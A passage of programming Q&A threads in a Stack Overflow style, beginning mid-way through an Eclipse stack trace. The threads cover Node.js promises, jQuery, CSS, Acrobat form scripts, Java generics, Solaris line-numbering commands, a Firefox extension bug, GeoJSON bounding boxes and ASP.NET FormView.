    at org.eclipse.swt.widgets.EventTable.sendEvent(EventTable.java:84)
    at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1053)
    at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1077)
    at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1062)
    at org.eclipse.swt.widgets.Widget.notifyListeners(Widget.java:774)
    at org.eclipse.jface.action.ActionContributionItem.copyMenu(ActionContributionItem.java:1268)
    at org.eclipse.jface.action.ActionContributionItem.handleShowProxy(ActionContributionItem.java:1248)
    at org.eclipse.jface.action.ActionContributionItem.access$4(ActionContributionItem.java:1237)
    at org.eclipse.jface.action.ActionContributionItem$8.handleEvent(ActionContributionItem.java:1210)
    at org.eclipse.swt.widgets.EventTable.sendEvent(EventTable.java:84)
    at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1053)
    at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1077)
    at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1058)
    at org.eclipse.swt.widgets.Control.WM_INITMENUPOPUP(Control.java:4881)
    at org.eclipse.swt.widgets.Control.windowProc(Control.java:4557)
    at org.eclipse.swt.widgets.Canvas.windowProc(Canvas.java:341)
    at org.eclipse.swt.widgets.Decorations.windowProc(Decorations.java:1627)
    at org.eclipse.swt.widgets.Shell.windowProc(Shell.java:2069)
    at org.eclipse.swt.widgets.Display.windowProc(Display.java:4976)
    at org.eclipse.swt.internal.win32.OS.TrackPopupMenu(Native Method)
    at org.eclipse.swt.widgets.Menu._setVisible(Menu.java:257)
    at org.eclipse.swt.widgets.Display.runPopups(Display.java:4210)
    at org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3752)
    at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine$9.run(PartRenderingEngine.java:1053)
    at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:332)
    at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.run(PartRenderingEngine.java:942)
    at org.eclipse.e4.ui.internal.workbench.E4Workbench.createAndRunUI(E4Workbench.java:86)
    at org.eclipse.ui.internal.Workbench$5.run(Workbench.java:588)
    at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:332)
    at org.eclipse.ui.internal.Workbench.createAndRunWorkbench(Workbench.java:543)
    at org.eclipse.ui.PlatformUI.createAndRunWorkbench(PlatformUI.java:149)
    at org.eclipse.ui.internal.ide.application.IDEApplication.start(IDEApplication.java:124)
    at org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:196)
    at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:110)
    at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:79)
    at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:353)
    at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:180)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:629)
    at org.eclipse.equinox.launcher.Main.basicRun(Main.java:584)
    at org.eclipse.equinox.launcher.Main.run(Main.java:1438)

A: The Eclipse version you are using doesn't understand the ASTParser version requested by the testng plugin (from the line numbers: probably AST.JLS8, see https://github.com/cbeust/testng-eclipse/blob/master/testng-eclipse-plugin/src/main/org/testng/eclipse/util/TestSearchEngine.java)
Try upgrading to an up-to-date Eclipse version, see https://www.eclipse.org/downloads/


text:
Q: using setTimout() as Promise in Node js I am new to JS and I am writing some simple REST API in Node.js for my application.
Somewhere inside the code I want to wait for about 5 seconds.
I am so confused about using of Promise and normal timeout method and call the function somewhere else. as following:
const sleep = (time) => {
    return new Promise(resolve => {
        setTimeout(() => {
            resolve()
            console.log('5 seconds');
        }, time);
    })
}

and then call the function:
sleep(5000)

OR
const sleep = (time) => {
    return new Promise(resolve => {
        setTimeout(() => {
           resolve()
           console.log('5 seconds');
       }, time);
    })
}

and then call the function:
sleep(5000).then(() => console.log('5 seconds passed'))

OR
const sleep = (time) => {
    return new Promise(resolve => {
        setTimeout(() => {
            resolve()
            console.log('5 seconds');
        }, time);
    })
}

async function wait(sleepTime) {
    await sleep(sleepTime)
}

and then call the function:
wait(5000)

Am I doing something wrong? Because in all 3 cases I actually get a waiting time of 5 seconds but since the function returns Promise, I have to use .then() If I want to use the Promise.

A: then you use when you want to get the result of promise, promise's code will work anyway even without using its result

A: Update:
In case 3, you can await an async function.
(async () => {
  await wait(5000);
  // Do something after 5 sec
})();

There is nothing wrong with your code.
So I am not sure what is your problem.
Anyway, you can understand Promise in this way:
new Promise(resolve => {
  setTimeout(() => {
    resolve();
  }, 5000);
}).then(() => {
  // Do something after 5 sec
});

is equivalent to
setTimeout(() => {
  // Do something after 5 sec
}, 5000);

A: First case.
1. Asynchronous Execution as doSomething() doesn't wait for sleep function to finish execution.
2. The promise will remain in pending state.
sleep(5000);
doSomething();// execution starts without waiting for 5 seconds.

Second Case :

1.Promise is resolved the then()/catch() listener is called.

2. Making doSomething() execute after sleep() has finished its execution.
sleep(5000).then(() => {doSomething();// execution starts after waiting for 5 seconds. })

Third Case :

1. Async function returns a promise.

2. Await/then - works in the same way (resolves/rejects a promise and return data/error).

3. Await can only be used inside async function.

I would suggest you create only one async function which contains the business logic for the api.
async function wait(sleepTime) {
    // some code
    await sleep(sleepTime); // waiting
    doSomething(); // execution starts only after waiting.
    // some other code
}

Calling wait without then will result in pending promise but that would not affect your business logic.

// sample example.
wait(5000).then(()=>{res.send("ok");}).catch(e=>{res.send("err")});


text:
Q: .each loop in jquery that finds all anchors pointing to specifc location and changes the class I need to loop through my website using jquery and change the class selector of all <a> elements which have href=#. I have this much but am not sure how to write the "for/each" portion in jquery.. any help out there?
if($("a.cs-wowslider-images-new").attr('href') == "#"){
$("a.cs-wowslider-images-new").removeClass("wow-fancy");
alert('removed');
}

A: ...all you were missing was the .each() method:
$("a").each(function(idx) {
  if ($(this).attr('href') == "#") {
    $(this).removeClass('whateverClass');
  }
});

A: There's no need for an each block if the desired operation is also available as a jQuery function:
$('a[href="#"]').removeClass('wow-fancy');

jQuery functions expect to be passed an array of matching elements, and in most cases will automatically apply the function to each element on that array.

A: I think you want to look at some of the attribute selectors. E.g. the following selector returns all links that point to an anchor (href starting with # pointing to a named anchor) using the Attribute Starts With Selector:
$('input[href^="#"]').each(function() {
    // do something with $(this)
});


text:
Q: how to make a stretched image fit a specific height I have an image which is stretched horizontally but when stretched it looks like this:

How do I retain its original height while cropping it. I don't want to use object-fit contain cause it causes so many images to be cropped which doesn't look good.
This is my markup, and the image below, and it responds well on mobile but on wider screens it looks cropped to fit
 <img  class="img-responsive pad tyi abn"  src="<?php echo $er ?>" style="   display: flex; flex-wrap: wrap; top:-1000% !important; background-size:cover   !important;   position:center center;   background-repeat:no-repeat;  max-height:710px !important;  vertical-align:baseline;  -webkit-filter: brightness(100%); -moz-filter:  brightness(100%); -ms-filter: brightness(100%) ; filter:progid:DXImageTransform.Microsoft.Blur(PixelRadius='0');  min-width:100% !important; width:100% !important; margin:0px !important;  overflow:hidden;" alt="Photo"> [The photo below][1]

A: img {
  height: 120px;
}

.cover {
  width: 260px;
  object-fit: cover;
}

https://css-tricks.com/almanac/properties/o/object-fit/

A: You have a few inline styles in your ìmgtag that in combination are problematic. The actual problem is the combination ofwidth: 100%andmax-height:710px !important;` -> that's the real problem: The height is autmatically calculated from the width (by the proportions of the image), but when the calculated height is more than 710px, it will be forced to be only 710px and the image proportion will be distorted.
The picture you posted is an example: It would actually be higher than 710px due to the given width, but is squeezed down to 710px.
So you can either remove that max-height:710px or remove the width: 100%. In both cases you will get the right proportions between width and height.

A: Try this:

.img-container {
  height: 300px;
  width: 100%;
  overflow: hidden;
}

.img-container img {
  width: 100%;
  position: relative;
  top: 50%;
  -webkit-transform: translateY(-50%);
  -ms-transform: translateY(-50%);
  transform: translateY(-50%);
}

Change the height on the parent container to whatever height you want and adjust the percentage on the translateY to vertically center the image


text:
Q: Create an Acrobat button to insert the current date I'm building a report form in Acrobat and have a date field that I want to update by pressing form button on the page. (What I was thinking was a non-printing button.)
What Javascript would I need to place in the button to make it insert the current date in the date form field.

A: One option: on the Actions tab of the button enter JS-
var fld = this.getField("datefield");
fld.value = util.printd("yyyy/mm/dd",new Date());
Hope this helps,
Dimitri
www.pdfscripting.com


text:
Q: Jquery OnChange event not firing $('.minSimiTrack').Slider({
   accept : '.minSimiHandle', fractions : 30,
     onSlide : function( cordx, cordy, x , y){
     $("#wrapperMinSimi").css("background-position", ((cordx))+"px 0px");
    .....},
      onChange : function(){
    $('#submitResetFooter').show();
    },
    .....

 HTML markup

I don't know why onChange not working....

A: If you are using jQuery UI, the on slide and on change events are "slide" and "change" respectively. i.e.
$( ".selector" ).slider({
   change: function(event, ui) { ... }
});

From here
http://jqueryui.com/demos/slider/#event-slide

A: I assume this is using jQuery UI slider? In which case your initial call has an erroneous  capital S, and the event names are wrong.
$('.minSimiTrack').slider({
    accept : '.minSimiHandle',
    fractions : 30,
    slide : function( cordx, cordy, x , y){
        $("#wrapperMinSimi").css("background-position", ((cordx))+"px 0px");
        .....
    },
    change : function(){
        $('#submitResetFooter').show();
    },
    .....
});


text:
Q: java generics - convert List to List I have a class MySpecialClass <T extends Comparable<T>>
I am trying to to do the following:
toItemList() -> should take List<Dog> and convert it to List<T> so the MySpecialClass can operate on it.
fromItemList() -> should take in memory List<T> and convert it to List of objects. So if I have List it should convert it to List<Dog>, so I can get a back conversion after all operations are done.
How do I construct something like that in Java? My MySpecialClass works with List<T> which is why I need that.
public List<T> toItemList(List<dogs> list or List<cats> list){
// how to convert?

    }

public List<dog> or List<cat>  fromItemList(){
      //local _inMemoryList (which is List<T>) convert to List<dog> or List<cat> depending on what MySpecialClass T is
 // how to convert?

        }

PS I am very new to java, always worked with .net so don't judge :)

A: I think you're mis-understanding what the <T> is doing in your example. T is a placeholder for any other class that implements Comparable.
Let's take a quick look at how this'll work, using your definition above of MySpecialClass.
public class Dog implements Comparable<Dog> {

}

public class Cat {

}
// This works because Dog implements Comparable
MySpecialClass<Dog> x = new MySpecialClass<Dog>();

// This will not because Cat does not implement Comparable
MySpecialClass<Cat> x = new MySpecialClass<Cat>();

There are many good tutorials for how to use generics in Java, probably starting with the Oracle tutorial.

A: It seems that you didn't understand generics. In generic Class definition T stands the Type parameter so you can send cat, dog whatever you want as long as it extends Comparable in your class example. Here is an implementation of the fromItemList as I understand:
List<Object> fromItemList(List<T> list){

}

there is no need to have toItemList method as you have the Type


text:
Q: Solaris using sequence generator at the beginning of each new line I created a script that extracts data from a database and loads it to a csv file. I am using SunOS hstz1454 5.10 system. I am trying to do a sequence at the beginning of each line following with a commma.
Data looks like this below:
1,1,1535,0,1,Y,Y
1,1,1535,10,2,Y,Y
1,1,1535,20,1,Y,Y
1,1,1535,30,2,Y,Y
1,1,1535,40,1,Y,Y

I want my csv file to generate a sequence number at the beginning og each line follow by a comma:
1,1,1,1535,0,1,Y,Y
2,1,1,1535,10,2,Y,Y
3,1,1,1535,20,1,Y,Y
4,1,1,1535,30,2,Y,Y
5,1,1,1535,40,1,Y,Y

Here is my code only prints 1 and does not increment, how can I increment on each new line?
for fname in conv2016_02_cos_speed2percent_data_migration.csv
do
  echo "adds a seq number on each line for $fname"
  sed 's/.*/1,&/' $fname > tmp.tmp
  mv tmp.tmp $fname
done

A: Here's a way with awk:
awk -v OFS=, '{print NR, $0}' < "$fname" > tmp && mv -- tmp "$fname"

and cat with sed
cat -n < "$fname" |
sed 's/^[[:blank:]]*\([[:digit:]]*\)[[:blank:]]*/\1,/' > tmp &&
mv -- tmp "$fname"

On Solaris, use /usr/xpg4/bin/sed|awk (or command -p sed|awk if using a POSIX shell or adapt $PATH to get a standard environment as detailed in standards(5)).

A: Use nl:
nl -s, -w1 file

This will add an incrementing number to the beginning of each line. -s, specifies that the number and the rest of the line should be separated by a comma. -w1 specifies the number of characters to be used for the line number.

Edit: As Stéphane Chazelas pointed out in the comment, the -w1 flag cuts the numbers with more than 1 digits. This may be a bug in Solaris' implementation of the nl utillity. Also, you may want to number special line content (-d $'\n\n') and emtpy lines (-ba):
NL='
'
nl -s, -ba -d "$NL$NL" file

The output (with GNU coreutils 8.12.197):
$ nl -s, -ba -d "$NL$NL" file
     1,4,2,64,1088,80,1,Y,Y
     2,5,2,64,1088,95,2,Y,Y
     3,8,2,1088,39813120,10,12,Y,Y
     4,6,2,1088,39813120,0,2,Y,Y
     5,7,2,1088,39813120,5,1,Y,Y
     6,8,2,1088,39813120,10,2,Y,Y

In your script it would then look like:
NL='
'
for fname in conv2016_02_cos_speed2percent_data_migration.csv; do
  nl -s, -ba -d "$NL$NL" "$fname"  > tmp.tmp && mv tmp.tmp "$fname"
done


text:
Q: The hover action for a browser action popup for a webextensions add-on stays partially highlighted after hover release I'm working on a webextension and I have a new problem ever since I upgraded to firefox quantum: The popup menu for my extension messes up the hover by staying partially highlighted. .
As you can see in the gif, the first element remains partially highlighted even when I am hovering over the bottom and the bottom remains partially highlighted even when I am hovering over the top.
This only happens in firefox and works just fine in google chrome.
What do I need to do to fix this issue? Is there anything in specific I am missing or is this an issue with the new firefox update?
I've created a minimal extension to reproduce the issue:
Create a manifest.json with the following contents:
{

  "manifest_version": 2,
  "name": "test",
  "version": "1.0.0",

  "browser_action": {
    "browser_style": true,
    "default_popup": "choose_page.html"
  }

}

Create a document called choose_page.css with the following contents:
html, body {
  width: 250px;
}

.common {
}

.common:hover {
  background-color: #CFF2F2;
}

and an html page called choose_page.html with the following contents:
<!DOCTYPE html>

    <link rel="stylesheet" href="choose_page.css"/>

Enable/Disable

Show/Hide

I believe this is a bug on firefox's part, so I've submitted a bug here: https://bugzilla.mozilla.org/show_bug.cgi?id=1422187


text:
Q: How to generate bounding boxes for Spacenet tif files using geojson vector data I have .tif raster files from the SpaceNet dataset, along with corresponding object descriptions in geojson files. I want to be able to generate Darknet style bounding box information ([object_class, x_center, y_center, width, height]) from this data. Note that the class is same for all objects in one geojson file.
I am unable to find any suitable tutorial or guide to perform this transformation. The spacenet utilities guide on GitHub is old and doesn't work. Could anybody please help me with this transformation? I am not sure if rasterio can be used to do this.
Download sample .geojson file here: https://ufile.io/drcjt
Download sample .tif file here: https://ufile.io/wsq92
Edit: Please note that the Darknet style bounding box ([object_class, x_center, y_center, width, height]) assumes a rectangle in output, rather than a polygon.

A: Assuming Darknet is not spatially aware and that you need bounding box in array coordinates, you could use the following. It uses shapely to compute centroid and bounding box of each geometry and affine to convert from geo coordinates to array coordinates
import json
from shapely import geometry
import rasterio
from math import floor

filename = '/path/to/buildings_aoi_2_vegas_img12.geojson'
raster_file = '/path/to/rgb-pansharpen_aoi_2_vegas_img12.tif'

# Read geojson file
with open(filename) as src:
    fc = json.load(src)

# Get affine transform from raster file
with rasterio.open(raster_file) as src:
    aff = src.transform

ffa = ~aff

# Define fuction to build bbox
def darknet_bb_from_feature(feature):
    """Build a Darknet style bounding box from a geojson style feature
    """
    poly = geometry.shape(feature['geometry'])
    center = poly.centroid
    x_center, y_center = ffa * (center.x, center.y)
    bbox = poly.bounds
    width = (bbox[2] - bbox[0]) // aff[0]
    height = (bbox[3] - bbox[1]) // -aff[4]
    out = ('obj_class', floor(x_center), floor(y_center), width, height)
    return out

# Apply function to all features of feature collection
bb_list = [darknet_bb_from_feature(feat) for feat in fc['features']]
print(bb_list)


text:
Q: Retrieving keys and NewValues within a Formview with manual data binding I have a Formview binded in the code file to a generic list. Now, upon editing of a record, I wish to access the Keys and NewValues out of the FormViewUpdateEventArgs parameter of the ItemUpdating event handler method.
From what I've tried and searched over the internet as of now, I've come to know that updated values are only available if the Formview is set a data source control on the markup page else they'd be null. Is this true?
Secondly, at this moment I am casting the sender object to formview and individually filling each object property by using FindControl method to find and retrieve values present in the controls. Is this the best way to do this task?
As an example, this is what I am doing atm:
FormView currentForm = (FormView)sender;
ListObject.ID = new Guid(((HiddenField)(currentForm.FindControl("hdnID"))).Value);
ListObject.Name = ((TextBox)(currentForm.FindControl("txtName"))).Text;

Thanks for the help fellas!

A: Based on what your doing I would suggest you not use a FormView. FormView's are brilliant when working with datasources, but fail, when dealing with manual bound data the way you are, your basically overriding and manually building the form, and it would be simpler to just create a HTML form and ASP.Net Server Side Controls.
FindControl is an expensive operation and can become unwieldily. Simple assigning a value during the loop of your data to a server side control will be faster.
Alternatively as suggested, use a ObjectDataSource and bind your data to the FormView in that way.